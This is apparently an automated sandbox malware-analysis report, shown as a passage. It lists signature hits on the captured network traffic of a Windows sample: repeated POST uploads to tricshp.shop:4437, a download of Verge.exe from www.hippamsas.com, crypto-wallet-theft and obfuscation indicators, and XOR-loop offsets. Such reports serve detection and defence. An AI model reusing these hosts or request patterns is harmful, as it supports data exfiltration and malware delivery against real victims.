application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "1127Host" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 87Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "6HZ8T49gUser" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437" Contains base64 string in header "/js/vendor/Verge" in header "GET /js/vendor/Verge.exe HTTP/1.1Connection: Keep-AliveUser-Agent: HttpDownloader/1.0Host: www.hippamsas.com" Contains base64 string in header "Keep" in header "GET /js/vendor/Verge.exe HTTP/1.1Connection: Keep-AliveUser-Agent: HttpDownloader/1.0Host: www.hippamsas.com" Contains base64 string in header "HttpDownloader/1" in header "GET /js/vendor/Verge.exe HTTP/1.1Connection: Keep-AliveUser-Agent: HttpDownloader/1.0Host: www.hippamsas.com"42:T68c,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms43:T2bb1,Found XOR loop in file "uBBJs.exe" at offset 91026; code bytes = 30d0 Found XOR loop in file "uBBJs.exe" at offset 1539688; code bytes = 30d0 Found XOR loop in file "uBBJs.exe" at offset 1140555; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1142507; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1159855; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1169387; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1176585; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1185033; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 1592154; code bytes = 33c1 Found XOR loop in file "uBBJs.exe" at offset 187638; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 228233; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 228593; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 228993; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 231155; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 253585; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 273712; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 415397; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 416093; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 416734; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 427113; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 800332; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 965048; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1006592; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1048511; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1050623; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1206583; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1226623; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1379715; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1603984; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1658648; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1883728; code bytes = 8030 Found XOR loop in file "uBBJs.exe" at offset 1987308; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 82674; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1220092; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1235983; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1436069; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1448700; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1469162; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1536662; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1603147; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1751438; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1823198; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1829152; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1840279; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1933959; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2023337; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2032706; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2044860; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2089706; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2163744; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2166688; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2251110; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2265958; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2282214; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2471418; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3920080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4649188; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4804164; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7118719; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1188808; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1204778; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1294285; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1368426; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1392660; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1437379; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1533048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1640004; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1765035; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1791209; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1836280; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1954166; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1963723; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1984892; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2056644; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2067278; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2094903; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2103017; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2131038; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2202250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3520947; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3522899; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3540247; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3549779; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3556977; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3565425; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3972546; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 179286; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 219881; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 220241; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 220641; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 222803; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 245137; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 265264; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 406949; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 407645; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 408286; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418665; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 614256; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1113022; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1125462; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1177941; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1178170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1248905; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1294118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1482603; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1549526; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1578588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1628186; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1695823; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1750877; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1782119; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1840349; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1880229; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1937822; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2049426; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2076537; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2132088; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2136255; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2223591; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2228711; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2274268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2284007; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2302823; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2369383; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2568030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2608625; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2608985; code bytes = 8030 Found XOR 